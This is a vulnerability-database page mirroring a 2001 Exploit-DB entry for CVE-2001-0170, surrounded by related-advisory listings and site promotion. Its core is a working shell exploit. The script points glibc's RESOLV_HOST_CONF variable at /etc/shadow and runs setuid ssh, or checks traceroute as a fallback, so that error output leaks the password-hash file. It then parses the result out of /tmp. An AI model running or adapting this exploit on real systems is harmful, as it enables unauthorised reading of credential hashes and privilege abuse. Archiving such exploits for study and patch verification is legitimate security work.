Lucene search
+L

glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read

🗓️ 25 Jan 2001 00:00:00Reported by krochosType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Exploit for glibc 2.1.9x and openssh 2.3.0p1 to read /etc/shadow file permissions.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
Red Hat Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2001-0170
7 May 200104:00
–cve
cvelist
Cvelist
CVE-2001-0170
7 May 200104:00
–cvelist
exploitdb
Exploit DB
Resolv+ 'RESOLV_HOST_CONF' - Linux Library Command Execution
1 Jan 199600:00
–exploitdb
euvd
EUVD
EUVD-2001-0170
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2001-0170
26 Mar 200105:00
–nvd
rapid7
Rapid7 Vulnerability Database (full)
CVE-2001-0170: Undefined Security Weakness
7 May 200100:00
–rapid7
# Charles Stevenson <[email protected]>
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****[email protected]****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow        # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
        echo "$ssh is NOT setuid on this system or does not exist at all!"
        if [ ! -u $traceroute ]; then
          echo "$traceroute is NOT setuid on this system or does not exist at all!"
          exit 0
        fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson <[email protected]>"
echo "[*] [email protected]"
sleep 1
echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

# milw0rm.com [2001-01-25]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00843
64